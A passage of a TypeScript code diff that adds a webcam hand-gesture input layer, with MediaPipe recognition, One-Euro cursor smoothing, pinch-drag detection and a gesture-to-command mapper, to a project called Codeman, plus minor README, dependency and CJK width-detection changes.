const base = this.root.getBoundingClientRect();
const left = Math.max(0, Math.min(x - w / 2, base.width - w));
const top = Math.max(0, Math.min(y - h / 2, base.height - h));
el.style.left = `${left}px`;
el.style.top = `${top}px`;
}
}
@@ -0,0 +1,386 @@
// GestureController — core input layer.
//
// Phase 0/1 scope (this file currently implements):
// - Open the webcam (getUserMedia) and attach it to a <video>.
// - Load MediaPipe GestureRecognizer in VIDEO mode (wasm + .task from CDN).
// - Run a requestAnimationFrame loop calling recognizeForVideo().
// - Emit `status` (fps / handPresent / gesture) and `results` (raw, debug).
//
// Later phases add the cursor (One-Euro filtered), pinch hysteresis, the
// hover/grab/drag/drop state machine, and the discrete gesture command bus.
// The event surface in types.ts already declares those so the API is stable.
import { FilesetResolver, GestureRecognizer, type GestureRecognizerResult } from '@mediapipe/tasks-vision';
import type {
GestureControllerOptions,
GestureEventHandler,
GestureEventMap,
GestureEventName,
HandState,
} from './types.ts';
import { LANDMARK, midpoint } from './landmarks.ts';
import { OneEuroFilter } from './OneEuroFilter.ts';
import { PinchDetector, pinchDistance } from './pinch.ts';
import { CommandDetector } from './commands.ts';
const DEFAULTS = {
numHands: 1,
deviceId: '',
pinchOn: 0.35,
pinchOff: 0.5,
minCutoff: 1.0,
beta: 0.01,
palmHoldMs: 1000,
minDetectionConfidence: 0.6,
minTrackingConfidence: 0.6,
// Pinned to the @mediapipe/tasks-vision version in package.json.
wasmBase: 'https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@0.10.21/wasm',
modelUrl:
'https://storage.googleapis.com/mediapipe-models/gesture_recognizer/gesture_recognizer/float16/1/gesture_recognizer.task',
} as const;
interface PerHandState {
cursorX: OneEuroFilter;
cursorY: OneEuroFilter;
pinch: PinchDetector;
/** Original handedness label (the map key may be disambiguated). */
label: string;
/** Last emitted surface-pixel position, so we can drop on a vanished hand. */
lastX: number;
lastY: number;
}
export class GestureController {
private readonly opts: Required<GestureControllerOptions>;
private recognizer: GestureRecognizer | null = null;
private stream: MediaStream | null = null;
private rafId: number | null = null;
private running = false;
// Timestamps must be strictly increasing for recognizeForVideo.
private lastVideoTime = -1;
private lastTimestamp = -1;
// FPS tracking (rolling over a short window).
private frameTimes: number[] = [];
// Per-hand smoothing + pinch state, keyed by handedness ("Left"/"Right") so a
// hand keeps its own filters even when MediaPipe reorders the hands array.
private readonly handStates = new Map<string, PerHandState>();
// Discrete gesture → command bus (debounced; Open_Palm held = halt-all).
private readonly commands: CommandDetector;
// Internal storage is intentionally loose; the public on/off/emit signatures
// below keep callers fully type-safe per event name.
private listeners: Partial<Record<GestureEventName, Set<(payload: unknown) => void>>> = {};
constructor(options: GestureControllerOptions) {
this.opts = {
surface: options.surface ?? options.video,
numHands: options.numHands ?? DEFAULTS.numHands,
deviceId: options.deviceId ?? DEFAULTS.deviceId,
pinchOn: options.pinchOn ?? DEFAULTS.pinchOn,
pinchOff: options.pinchOff ?? DEFAULTS.pinchOff,
minCutoff: options.minCutoff ?? DEFAULTS.minCutoff,
beta: options.beta ?? DEFAULTS.beta,
palmHoldMs: options.palmHoldMs ?? DEFAULTS.palmHoldMs,
minDetectionConfidence: options.minDetectionConfidence ?? DEFAULTS.minDetectionConfidence,
minTrackingConfidence: options.minTrackingConfidence ?? DEFAULTS.minTrackingConfidence,
wasmBase: options.wasmBase ?? DEFAULTS.wasmBase,
modelUrl: options.modelUrl ?? DEFAULTS.modelUrl,
video: options.video,
};
this.commands = new CommandDetector(this.opts.palmHoldMs);
}
/** Get (or lazily create) the smoothing + pinch state for one hand. */
private handState(key: string): PerHandState {
let state = this.handStates.get(key);
if (!state) {
state = {
cursorX: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
cursorY: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
pinch: new PinchDetector(this.opts.pinchOn, this.opts.pinchOff),
label: key,
lastX: 0,
lastY: 0,
};
this.handStates.set(key, state);
}
return state;
}
// ---- Event emitter ---------------------------------------------------
on<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
(this.listeners[event] ??= new Set()).add(handler as (payload: unknown) => void);
return this;
}
off<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
this.listeners[event]?.delete(handler as (payload: unknown) => void);
return this;
}
private emit<K extends GestureEventName>(event: K, payload: GestureEventMap[K]): void {
this.listeners[event]?.forEach((h) => h(payload));
}
// ---- Lifecycle -------------------------------------------------------
/** Request the camera, load the model, and start the recognition loop. */
async start(): Promise<void> {
if (this.running) return;
await this.openCamera();
await this.loadRecognizer();
this.running = true;
this.lastVideoTime = -1;
this.lastTimestamp = -1;
this.frameTimes = [];
this.handStates.clear();
this.commands.reset();
this.loop();
}
/** Stop the loop, release the camera, and close the recognizer. */
stop(): void {
this.running = false;
if (this.rafId !== null) {
cancelAnimationFrame(this.rafId);
this.rafId = null;
}
if (this.stream) {
this.stream.getTracks().forEach((t) => t.stop());
this.stream = null;
}
this.opts.video.srcObject = null;
this.recognizer?.close();
this.recognizer = null;
}
/** The camera currently in use (resolved deviceId), or "" if not started. */
get deviceId(): string {
return this.opts.deviceId;
}
/** List available video input devices. Labels are only populated once the
* user has granted camera permission (i.e. after the first start()). */
async listCameras(): Promise<MediaDeviceInfo[]> {
const devices = await navigator.mediaDevices.enumerateDevices();
return devices.filter((d) => d.kind === 'videoinput');
}
/** Switch to a different camera. Reopens the stream live if already running. */
async useCamera(deviceId: string): Promise<void> {
this.opts.deviceId = deviceId;
if (!this.running) return;
if (this.stream) {
this.stream.getTracks().forEach((t) => t.stop());
this.stream = null;
}
await this.openCamera();
// Fresh camera = fresh geometry; drop stale filter state to avoid a snap.
this.handStates.clear();
this.lastVideoTime = -1;
}
// ---- Setup -----------------------------------------------------------
private async openCamera(): Promise<void> {
if (!navigator.mediaDevices?.getUserMedia) {
throw new Error('getUserMedia is not available (needs a secure context).');
}
const videoConstraints: MediaTrackConstraints = {
width: { ideal: 1280 },
height: { ideal: 720 },
frameRate: { ideal: 60, max: 60 },
};
// A specific device wins; otherwise ask for the user-facing camera.
if (this.opts.deviceId) videoConstraints.deviceId = { exact: this.opts.deviceId };
else videoConstraints.facingMode = 'user';
const stream = await navigator.mediaDevices.getUserMedia({
video: videoConstraints,
audio: false,
});
this.stream = stream;
// Record the resolved device so callers can pre-select it in a UI.
this.opts.deviceId = stream.getVideoTracks()[0]?.getSettings().deviceId ?? this.opts.deviceId;
const video = this.opts.video;
video.srcObject = stream;
video.muted = true;
video.playsInline = true;
await video.play();
// Wait until dimensions are known so the overlay can size itself.
if (!video.videoWidth) {
await new Promise<void>((resolve) => {
const onMeta = () => {
video.removeEventListener('loadedmetadata', onMeta);
resolve();
};
video.addEventListener('loadedmetadata', onMeta);
});
}
}
private async loadRecognizer(): Promise<void> {
const fileset = await FilesetResolver.forVisionTasks(this.opts.wasmBase);
const build = (delegate: 'GPU' | 'CPU') =>
GestureRecognizer.createFromOptions(fileset, {
baseOptions: {
modelAssetPath: this.opts.modelUrl,
delegate,
},
runningMode: 'VIDEO',
numHands: this.opts.numHands,
minHandDetectionConfidence: this.opts.minDetectionConfidence,
minHandPresenceConfidence: this.opts.minDetectionConfidence,
minTrackingConfidence: this.opts.minTrackingConfidence,
});
// GPU is the fast path (60fps on the MacBook). But some environments fail to
// init the GPU delegate — and MediaPipe/Emscripten often throws a *non-Error*
// value there (a raw number/string), which surfaces upstream as a useless
// "failed: undefined". Fall back to CPU so the recognizer still starts.
try {
this.recognizer = await build('GPU');
} catch (err) {
console.warn('[gesture] GPU delegate failed; falling back to CPU.', err);
this.recognizer = await build('CPU');
}
}
// ---- Loop ------------------------------------------------------------
private loop = (): void => {
if (!this.running || !this.recognizer) return;
this.rafId = requestAnimationFrame(this.loop);
const video = this.opts.video;
if (video.readyState < 2 /* HAVE_CURRENT_DATA */) return;
// Strictly increasing timestamp in ms.
let ts = performance.now();
if (ts <= this.lastTimestamp) ts = this.lastTimestamp + 1;
this.lastTimestamp = ts;
// Only re-run inference when the video frame actually advanced.
if (video.currentTime === this.lastVideoTime) return;
this.lastVideoTime = video.currentTime;
let result: GestureRecognizerResult;
try {
result = this.recognizer.recognizeForVideo(video, ts);
} catch (err) {
console.error('recognizeForVideo failed', err);
return;
}
this.trackFps(ts);
this.publish(result, ts);
};
private trackFps(nowMs: number): void {
this.frameTimes.push(nowMs);
const windowStart = nowMs - 1000;
while (this.frameTimes.length && this.frameTimes[0] < windowStart) {
this.frameTimes.shift();
}
}
private get fps(): number {
if (this.frameTimes.length < 2) return 0;
const span = this.frameTimes[this.frameTimes.length - 1] - this.frameTimes[0];
if (span <= 0) return 0;
return Math.round(((this.frameTimes.length - 1) / span) * 1000);
}
private publish(result: GestureRecognizerResult, ts: number): void {
const allLandmarks = result.landmarks ?? [];
const handedness = result.handedness ?? [];
const gestures = result.gestures ?? [];
const tSec = ts / 1000;
// Surface rect → maps normalized [0,1] coords to surface pixels (X mirrored).
const rect = this.opts.surface.getBoundingClientRect();
const hands: HandState[] = [];
const activeKeys = new Set<string>();
for (let i = 0; i < allLandmarks.length; i++) {
const lm = allLandmarks[i];
if (!lm || lm.length === 0) continue;
// Key by handedness so each hand keeps its own filters across frames.
// Fall back to index, and disambiguate if both hands share a label.
const label = handedness[i]?.[0]?.categoryName ?? `hand${i}`;
let key = label;
if (activeKeys.has(key)) key = `${label}#${i}`;
activeKeys.add(key);
const state = this.handState(key);
const mid = midpoint(lm[LANDMARK.THUMB_TIP], lm[LANDMARK.INDEX_TIP]);
const cursor = {
x: state.cursorX.filter(mid.x, tSec),
y: state.cursorY.filter(mid.y, tSec),
};
const pinchDist = pinchDistance(lm);
const changed = state.pinch.update(pinchDist);
const gesture = gestures[i]?.[0]?.categoryName ?? null;
// Pinch state machine → discrete drag events in surface pixels.
const sx = (1 - cursor.x) * rect.width;
const sy = cursor.y * rect.height;
state.lastX = sx;
state.lastY = sy;
const pointer = { hand: label, x: sx, y: sy };
if (state.pinch.isPinching) {
this.emit(changed ? 'grab' : 'drag', pointer);
} else if (changed) {
this.emit('drop', pointer);
}
hands.push({
handedness: label,
cursor,
pinchDist,
pinching: state.pinch.isPinching,
gesture: gesture && gesture !== 'None' ? gesture : null,
});
}
// Drop state for hands that vanished, so a returning hand starts fresh
// (no snap from a stale filter position) and the map can't grow unbounded.
// If a vanished hand was mid-pinch, emit a drop so nothing stays grabbed.
for (const key of [...this.handStates.keys()]) {
if (activeKeys.has(key)) continue;
const stale = this.handStates.get(key)!;
if (stale.pinch.isPinching) {
this.emit('drop', { hand: stale.label, x: stale.lastX, y: stale.lastY });
}
this.handStates.delete(key);
}
// Discrete commands come from open-hand gestures; ignore a hand that's
// pinching (mid-drag) so a drag can't be misread as a command.
const commandGestures = new Set<string>();
for (const h of hands) {
if (!h.pinching && h.gesture) commandGestures.add(h.gesture);
}
for (const name of this.commands.update(commandGestures, ts)) {
this.emit('command', { name });
}
// Status first so the overlay can read this frame's cursors in `results`.
this.emit('status', {
fps: this.fps,
hands,
haltProgress: this.commands.haltProgress(ts),
});
this.emit('results', { result, timestampMs: ts });
}
}
@@ -0,0 +1,73 @@
// One-Euro filter — low-latency smoothing for noisy interactive signals.
// Heavy smoothing when the value is still (kills jitter), low lag when it moves
// fast. The correct tool for raw landmark streams, which jitter several pixels
// even when the hand is held still.
//
// Reference: Casiez, Roussel, Vogel — "1€ Filter" (CHI 2012),
// http://cristal.univ-lille.fr/~casiez/1euro/
//
// One filter handles a single scalar; use one instance per axis (x, y).
/** Smoothing factor for a low-pass step given a cutoff (Hz) and timestep (s). */
function smoothingAlpha(cutoffHz: number, dtSec: number): number {
const tau = 1 / (2 * Math.PI * cutoffHz);
return 1 / (1 + tau / dtSec);
}
/** Exponential low-pass that remembers its last output. */
class LowPass {
private value: number | null = null;
filter(x: number, alpha: number): number {
this.value = this.value === null ? x : alpha * x + (1 - alpha) * this.value;
return this.value;
}
reset(): void {
this.value = null;
}
get initialized(): boolean {
return this.value !== null;
}
}
export class OneEuroFilter {
private readonly signal = new LowPass();
private readonly derivative = new LowPass();
private lastTimeSec: number | null = null;
private lastRaw = 0;
/**
* @param minCutoff Baseline cutoff (Hz). Lower → smoother but laggier when still.
* @param beta Speed coefficient. Higher → less lag during fast moves.
* @param dCutoff Cutoff for the derivative low-pass (Hz). 1.0 is fine.
*/
constructor(
private minCutoff = 1.0,
private beta = 0.01,
private dCutoff = 1.0
) {}
reset(): void {
this.signal.reset();
this.derivative.reset();
this.lastTimeSec = null;
this.lastRaw = 0;
}
/** @param timeSec strictly-increasing timestamp in seconds. */
filter(x: number, timeSec: number): number {
let dt = this.lastTimeSec === null ? 1 / 60 : timeSec - this.lastTimeSec;
if (dt <= 0) dt = 1 / 60;
this.lastTimeSec = timeSec;
// Rate of change, itself low-passed, drives the adaptive cutoff.
const dRaw = this.signal.initialized ? (x - this.lastRaw) / dt : 0;
this.lastRaw = x;
const edRaw = this.derivative.filter(dRaw, smoothingAlpha(this.dCutoff, dt));
const cutoff = this.minCutoff + this.beta * Math.abs(edRaw);
return this.signal.filter(x, smoothingAlpha(cutoff, dt));
}
}
@@ -0,0 +1,78 @@
// Discrete gesture → command detection.
//
// Maps the recognizer's canned gesture categories onto Codeman commands, with
// debouncing so each command fires once per gesture *entry* (not every frame
// while it's held). Open_Palm is special: it must be held continuously for
// `palmHoldMs` before firing halt-all — a dead-man's-switch that's hard to
// trigger by accident, since pausing every session is a big hammer.
import type { CommandName } from './types.ts';
interface CommandSpec {
name: CommandName;
/** If set, the gesture must be held this long (ms) before it fires. */
holdMs?: number;
}
/** MediaPipe canned gesture category → command. */
const GESTURE_COMMANDS: Record<string, CommandSpec> = {
Open_Palm: { name: 'halt-all', holdMs: -1 }, // holdMs filled from palmHoldMs
Thumb_Up: { name: 'approve' },
Victory: { name: 'new-session' },
};
export class CommandDetector {
/** gesture category → timestamp (ms) it was first seen in the current hold. */
private heldSince = new Map<string, number>();
/** gestures that already fired during the current hold (cleared on release). */
private fired = new Set<string>();
constructor(private palmHoldMs = 1000) {}
reset(): void {
this.heldSince.clear();
this.fired.clear();
}
private holdMsFor(spec: CommandSpec): number {
return spec.holdMs === -1 ? this.palmHoldMs : (spec.holdMs ?? 0);
}
/**
* Feed the set of command-gestures currently shown (across all hands).
* @returns the commands that fired on this frame (usually empty).
*/
update(gestures: Set<string>, nowMs: number): CommandName[] {
// Forget gestures no longer held, so they can re-fire on the next entry.
for (const g of [...this.heldSince.keys()]) {
if (!gestures.has(g)) {
this.heldSince.delete(g);
this.fired.delete(g);
}
}
const fired: CommandName[] = [];
for (const g of gestures) {
const spec = GESTURE_COMMANDS[g];
if (!spec) continue;
const since = this.heldSince.get(g) ?? nowMs;
if (!this.heldSince.has(g)) this.heldSince.set(g, since);
if (this.fired.has(g)) continue;
if (nowMs - since >= this.holdMsFor(spec)) {
fired.push(spec.name);
this.fired.add(g);
}
}
return fired;
}
/** 0–1 charge of the held halt-all gesture (1 once fired, 0 when released). */
haltProgress(nowMs: number): number {
const since = this.heldSince.get('Open_Palm');
if (since === undefined) return 0;
if (this.fired.has('Open_Palm')) return 1;
return Math.min(1, (nowMs - since) / this.palmHoldMs);
}
}
@@ -0,0 +1,78 @@
// MediaPipe hand landmark indices and the bone connections between them.
// See: https://developers.google.com/mediapipe/solutions/vision/hand_landmarker
//
// 21 landmarks per hand, each normalized to [0,1] in image space.
export const LANDMARK = {
WRIST: 0,
THUMB_CMC: 1,
THUMB_MCP: 2,
THUMB_IP: 3,
THUMB_TIP: 4,
INDEX_MCP: 5,
INDEX_PIP: 6,
INDEX_DIP: 7,
INDEX_TIP: 8,
MIDDLE_MCP: 9,
MIDDLE_PIP: 10,
MIDDLE_DIP: 11,
MIDDLE_TIP: 12,
RING_MCP: 13,
RING_PIP: 14,
RING_DIP: 15,
RING_TIP: 16,
PINKY_MCP: 17,
PINKY_PIP: 18,
PINKY_DIP: 19,
PINKY_TIP: 20,
} as const;
/** Pairs of landmark indices that form the hand skeleton, for overlay drawing. */
export const HAND_CONNECTIONS: ReadonlyArray<readonly [number, number]> = [
// Thumb
[0, 1],
[1, 2],
[2, 3],
[3, 4],
// Index
[0, 5],
[5, 6],
[6, 7],
[7, 8],
// Middle
[5, 9],
[9, 10],
[10, 11],
[11, 12],
// Ring
[9, 13],
[13, 14],
[14, 15],
[15, 16],
// Pinky
[13, 17],
[17, 18],
[18, 19],
[19, 20],
// Palm base
[0, 17],
];
export interface NormalizedLandmark {
x: number;
y: number;
z: number;
visibility?: number;
}
/** Euclidean distance between two normalized landmarks (x/y plane). */
export function dist2d(a: NormalizedLandmark, b: NormalizedLandmark): number {
const dx = a.x - b.x;
const dy = a.y - b.y;
return Math.hypot(dx, dy);
}
/** Midpoint of two normalized landmarks (x/y plane). */
export function midpoint(a: NormalizedLandmark, b: NormalizedLandmark): { x: number; y: number } {
return { x: (a.x + b.x) / 2, y: (a.y + b.y) / 2 };
}
@@ -0,0 +1,67 @@
// Pinch detection from hand landmarks.
//
// Distance between thumb tip (4) and index tip (8), normalized by hand size
// (wrist 0 → middle-finger MCP 9) so the threshold is robust to how close the
// hand is to the camera. Hysteresis + N-frame persistence keep the grab/release
// edge from flickering — critical for not "dropping" a tab mid-drag.
import { LANDMARK, dist2d, type NormalizedLandmark } from './landmarks.ts';
/**
* Thumb-tip→index-tip distance as a fraction of hand size. Smaller = more
* pinched. Roughly in [0, ~1.5]; ~0.35 is a firm pinch, ~0.5+ is open.
*/
export function pinchDistance(landmarks: NormalizedLandmark[]): number {
const thumb = landmarks[LANDMARK.THUMB_TIP];
const index = landmarks[LANDMARK.INDEX_TIP];
const wrist = landmarks[LANDMARK.WRIST];
const middleMcp = landmarks[LANDMARK.MIDDLE_MCP];
const handSize = dist2d(wrist, middleMcp) || 1e-6;
return dist2d(thumb, index) / handSize;
}
/**
* Tracks pinch state with two thresholds (hysteresis) and a persistence count.
* Enter a pinch below `onThreshold`; leave it only above `offThreshold`
* (offThreshold > onThreshold). A flip must hold for `persistFrames` frames
* before it commits, rejecting single-frame noise.
*/
export class PinchDetector {
private pinching = false;
private pendingFrames = 0;
constructor(
private onThreshold = 0.35,
private offThreshold = 0.5,
private persistFrames = 2
) {}
reset(): void {
this.pinching = false;
this.pendingFrames = 0;
}
get isPinching(): boolean {
return this.pinching;
}
/** Feed one frame's distance. Returns true if the committed state CHANGED. */
update(distance: number): boolean {
const target = this.pinching
? distance < this.offThreshold // stay pinched until the hand opens wide
: distance < this.onThreshold; // start pinching once fingers close
if (target === this.pinching) {
this.pendingFrames = 0;
return false;
}
this.pendingFrames += 1;
if (this.pendingFrames >= this.persistFrames) {
this.pinching = target;
this.pendingFrames = 0;
return true;
}
return false;
}
}
@@ -0,0 +1,80 @@
// Shared types for the gesture input layer.
//
// Phase 0/1 scope: only `status` and `results` (debug) events are emitted yet.
// The semantic events (hover/grab/drag/drop/command) are declared here so the
// public API shape is stable, but they are wired in later phases.
import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
export interface GestureControllerOptions {
/** The <video> element the camera stream is attached to. */
video: HTMLVideoElement;
/** Element whose bounding rect normalized coords are mapped against. Defaults to video. (Used from Phase 2.) */
surface?: HTMLElement;
/** Number of hands to track. v1 = 1. */
numHands?: number;
/** Pinch hysteresis thresholds (fractions of hand-size). Used from Phase 2. */
pinchOn?: number;
pinchOff?: number;
/** One-Euro cursor smoothing. Lower minCutoff = smoother/laggier when still;
* higher beta = less lag during fast moves. Used from Phase 2. */
minCutoff?: number;
beta?: number;
/** How long Open_Palm must be held to fire halt-all. Used from Phase 4. */
palmHoldMs?: number;
/** Specific camera to open (from enumerateDevices). Empty = default facingMode "user". */
deviceId?: string;
/** MediaPipe detection/tracking confidence. */
minDetectionConfidence?: number;
minTrackingConfidence?: number;
/** CDN base used to load the wasm fileset + .task model. */
wasmBase?: string;
modelUrl?: string;
}
export type CommandName = 'halt-all' | 'approve' | 'new-session';
/** Per-hand state for the current frame. */
export interface HandState {
/** "Left" / "Right" as reported by MediaPipe (image-space). Used to key filters. */
handedness: string;
/** Smoothed cursor in raw (unmirrored) normalized [0,1] coords; consumers mirror X. */
cursor: { x: number; y: number };
/** Thumb/index distance as a fraction of hand size. */
pinchDist: number;
/** Whether this hand is currently pinching (after hysteresis). */
pinching: boolean;
/** Top gesture category for this hand, if any. */
gesture: string | null;
}
/** A pointer sample for one hand, in surface pixel coords (origin = surface
* top-left, X already mirrored to match the displayed video). */
export interface HandPointer {
hand: string;
x: number;
y: number;
}
/** Payloads emitted per event name. */
export interface GestureEventMap {
/** Pinch just closed — start of a drag. */
grab: HandPointer;
/** Cursor moved while pinched — emitted every frame during a drag. */
drag: HandPointer;
/** Pinch released (or the hand vanished mid-pinch) — end of a drag. */
drop: HandPointer;
command: { name: CommandName };
status: {
fps: number;
/** One entry per detected hand (0–`numHands`). */
hands: HandState[];
/** 0–1 charge of the held Open_Palm halt-all gesture (Phase 4). */
haltProgress: number;
};
/** Debug-only: the raw recognizer result for the current frame (drives the overlay). */
results: { result: GestureRecognizerResult; timestampMs: number };
}
export type GestureEventName = keyof GestureEventMap;
export type GestureEventHandler<K extends GestureEventName> = (payload: GestureEventMap[K]) => void;
+188
View File
@@ -0,0 +1,188 @@
// Phase 3 demo wiring.
//
// - Start button (camera requires a user gesture) + live camera picker.
// - Mirrored video preview + debug overlay (skeleton + per-hand cursors).
// - Live HUD: fps / hands / pinch distance / gesture.
// - Tab board: pinch-drag session tabs between Screen columns.
import { GestureController } from './gesture/GestureController.ts';
import { Overlay, type CursorMark } from './demo/overlay.ts';
import { TabsBoard } from './demo/tabs.ts';
import type { HandState } from './gesture/types.ts';
// Cyan for the left hand, violet for the right; green takes over while pinching.
const handColor = (handedness: string): string => (handedness === 'Right' ? '#a78bfa' : '#38bdf8');
const video = document.getElementById('cam') as HTMLVideoElement;
const canvas = document.getElementById('overlay') as HTMLCanvasElement;
const stage = document.getElementById('stage') as HTMLDivElement;
const boardEl = document.getElementById('board') as HTMLDivElement;
const startBtn = document.getElementById('start') as HTMLButtonElement;
const stopBtn = document.getElementById('stop') as HTMLButtonElement;
const fullscreenBtn = document.getElementById('fullscreen') as HTMLButtonElement;
const cameraSel = document.getElementById('camera') as HTMLSelectElement;
const fpsEl = document.getElementById('fps') as HTMLSpanElement;
const handEl = document.getElementById('hand') as HTMLSpanElement;
const pinchEl = document.getElementById('pinch') as HTMLSpanElement;
const gestureEl = document.getElementById('gesture') as HTMLSpanElement;
const statusEl = document.getElementById('status-msg') as HTMLParagraphElement;
const overlay = new Overlay(canvas, video);
// Coords map against the stage rect (the board overlays it exactly).
const gc = new GestureController({ video, surface: stage, numHands: 2 });
const board = new TabsBoard(boardEl, (tabId, columnId) => {
statusEl.textContent = columnId
? `Moved “${tabId}” → ${columnId}`
: `“${tabId}” dropped outside a column — returned.`;
});
// The board drives off discrete grab/drag/drop; hover highlight off `status`.
gc.on('grab', ({ hand, x, y }) => board.grab(hand, x, y));
gc.on('drag', ({ hand, x, y }) => board.drag(hand, x, y));
gc.on('drop', ({ hand, x, y }) => board.drop(hand, x, y));
// Discrete gesture commands (halt-all / approve / new-session) are intentionally
// not wired up here — this build is pinch-drag only. The controller still emits
// `command`/`haltProgress`, but nothing consumes them, so an open palm, thumb,
// or victory sign does nothing.
// Cached from `status` so the `results` handler draws the same frame's cursors.
let cursors: CursorMark[] = [];
let started = false;
gc.on('results', ({ result }) => {
overlay.draw(result, cursors);
});
gc.on('status', ({ fps, hands }) => {
cursors = hands.map((h) => ({
x: h.cursor.x,
y: h.cursor.y,
color: handColor(h.handedness),
pinching: h.pinching,
}));
// Hover highlights from the full per-frame snapshot (surface px, X mirrored).
const rect = stage.getBoundingClientRect();
board.hover(
hands.map((h) => ({
x: (1 - h.cursor.x) * rect.width,
y: h.cursor.y * rect.height,
pinching: h.pinching,
}))
);
fpsEl.textContent = String(fps);
fpsEl.style.color = fps >= 25 ? '#4ade80' : fps > 0 ? '#fbbf24' : '#f87171';
const anyPinching = hands.some((h) => h.pinching);
handEl.textContent = hands.length ? hands.map((h) => h.handedness).join(' + ') : 'no';
handEl.style.color = hands.length ? '#4ade80' : '#94a3b8';
pinchEl.textContent = hands.length ? hands.map(pinchLabel).join(' ') : '—';
pinchEl.style.color = anyPinching ? '#4ade80' : '#94a3b8';
gestureEl.textContent =
hands
.filter((h) => h.gesture)
.map((h) => h.gesture)
.join(', ') || '—';
});
/** e.g. "L 0.34●" — first letter of handedness, distance, dot when pinching. */
function pinchLabel(h: HandState): string {
return `${h.handedness[0]} ${h.pinchDist.toFixed(2)}${h.pinching ? '●' : ''}`;
}
startBtn.addEventListener('click', async () => {
startBtn.disabled = true;
statusEl.textContent = 'Requesting camera + loading model…';
try {
await gc.start();
started = true;
statusEl.textContent = 'Running. Pinch-drag tabs between Screens.';
stopBtn.disabled = false;
await populateCameras();
} catch (err) {
console.error(err);
statusEl.textContent = `Failed to start: ${(err as Error).message}`;
startBtn.disabled = false;
}
});
stopBtn.addEventListener('click', () => {
gc.stop();
started = false;
overlay.clear();
board.hover([]);
cursors = [];
statusEl.textContent = 'Stopped.';
startBtn.disabled = false;
stopBtn.disabled = true;
cameraSel.disabled = true;
fpsEl.textContent = '0';
handEl.textContent = 'no';
pinchEl.textContent = '—';
gestureEl.textContent = '—';
});
// Switch cameras live. On macOS the iPhone (Continuity Camera) shows up as
// "iPhone Camera" plus a separate "Desk View Camera" (the ultra-wide lens).
cameraSel.addEventListener('change', async () => {
statusEl.textContent = `Switching to ${cameraSel.selectedOptions[0]?.text}…`;
try {
await gc.useCamera(cameraSel.value);
statusEl.textContent = 'Running.';
// Activating the iPhone can surface its Desk View device — re-check.
await populateCameras();
} catch (err) {
console.error(err);
statusEl.textContent = `Couldn't switch camera: ${(err as Error).message}`;
}
});
// Cameras come and go (iPhone mounted/unmounted, Desk View appearing). Keep
// the dropdown in sync whenever the device set changes.
navigator.mediaDevices?.addEventListener('devicechange', () => {
if (started) void populateCameras();
});
// Fullscreen the stage so the board (and grab targets) fill the display.
// Standard API with a webkit fallback for Safari.
type WebkitEl = HTMLElement & { webkitRequestFullscreen?: () => Promise<void> };
type WebkitDoc = Document & {
webkitFullscreenElement?: Element | null;
webkitExitFullscreen?: () => Promise<void>;
};
function fullscreenElement(): Element | null {
return document.fullscreenElement ?? (document as WebkitDoc).webkitFullscreenElement ?? null;
}
fullscreenBtn.addEventListener('click', () => {
if (fullscreenElement()) {
(document.exitFullscreen ?? (document as WebkitDoc).webkitExitFullscreen)?.call(document);
} else {
const el = stage as WebkitEl;
(el.requestFullscreen ?? el.webkitRequestFullscreen)?.call(el);
}
});
function syncFullscreenLabel(): void {
fullscreenBtn.textContent = fullscreenElement() ? '⤢ Exit fullscreen' : '⛶ Fullscreen';
}
document.addEventListener('fullscreenchange', syncFullscreenLabel);
document.addEventListener('webkitfullscreenchange', syncFullscreenLabel);
/** Fill the camera dropdown; labels appear only after camera permission. */
async function populateCameras(): Promise<void> {
const cams = await gc.listCameras();
cameraSel.innerHTML = '';
cams.forEach((cam, i) => {
const opt = document.createElement('option');
opt.value = cam.deviceId;
opt.text = cam.label || `Camera ${i + 1}`;
if (cam.deviceId === gc.deviceId) opt.selected = true;
cameraSel.append(opt);
});
cameraSel.disabled = cams.length < 2;
}
+22
View File
@@ -0,0 +1,22 @@
{
"compilerOptions": {
"target": "ES2020",
"useDefineForClassFields": true,
"module": "ESNext",
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"resolveJsonModule": true,
"isolatedModules": true,
"moduleDetection": "force",
"noEmit": true,
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true
},
"include": ["src"]
}
+12
View File
@@ -0,0 +1,12 @@
import { defineConfig } from 'vite';
// getUserMedia requires a secure context. http://localhost counts as secure,
// so the dev server below is fine. If you serve to another device, use https.
export default defineConfig({
root: '.',
server: {
host: 'localhost',
port: 5173,
open: true,
},
});
+1 -1
View File
@@ -39,7 +39,7 @@ Server echoes 'h' ←───────────────────
## Origin
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), the missing control plane for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code and OpenCode. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
This library was extracted from [Codeman](https://github.com/Ark0N/Codeman), mission control for AI coding agents — multi-session management, real-time agent visualization, autonomous respawn loops, and a mobile-first web UI for Claude Code, OpenCode, and Codex. The local echo system was built to make mobile and remote access feel instant, then battle-tested across thousands of hours of real usage. After 3 deep code audits, it was extracted into this standalone library with 78 tests covering every state transition.
## Install
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -45,6 +45,6 @@
"jsdom": "^24.1.3",
"tsup": "^8.5.1",
"typescript": "^5.5.0",
"vitest": "^2.1.9"
"vitest": "^4.1.8"
}
}
@@ -1,4 +1,50 @@
import type { RenderParams, FontStyle } from './types.js';
import type { RenderParams, FontStyle, XtermTerminal } from './types.js';
// ─── CJK / fullwidth character width detection ───────────────────────
/**
* Get visual cell width of a single character.
* CJK wide characters occupy 2 cells, others occupy 1.
* Prefers the terminal's Unicode addon when available.
*/
export function charCellWidth(terminal: XtermTerminal | null | undefined, ch: string): number {
if (terminal?.unicode?.getStringCellWidth) {
return terminal.unicode.getStringCellWidth(ch);
}
// Fallback: detect CJK wide characters by Unicode range
const code = ch.codePointAt(0);
if (
code !== undefined &&
code >= 0x1100 &&
(code <= 0x115f || // Hangul Jamo
(code >= 0x2e80 && code <= 0x303e) || // CJK Radicals, Kangxi, Ideographic
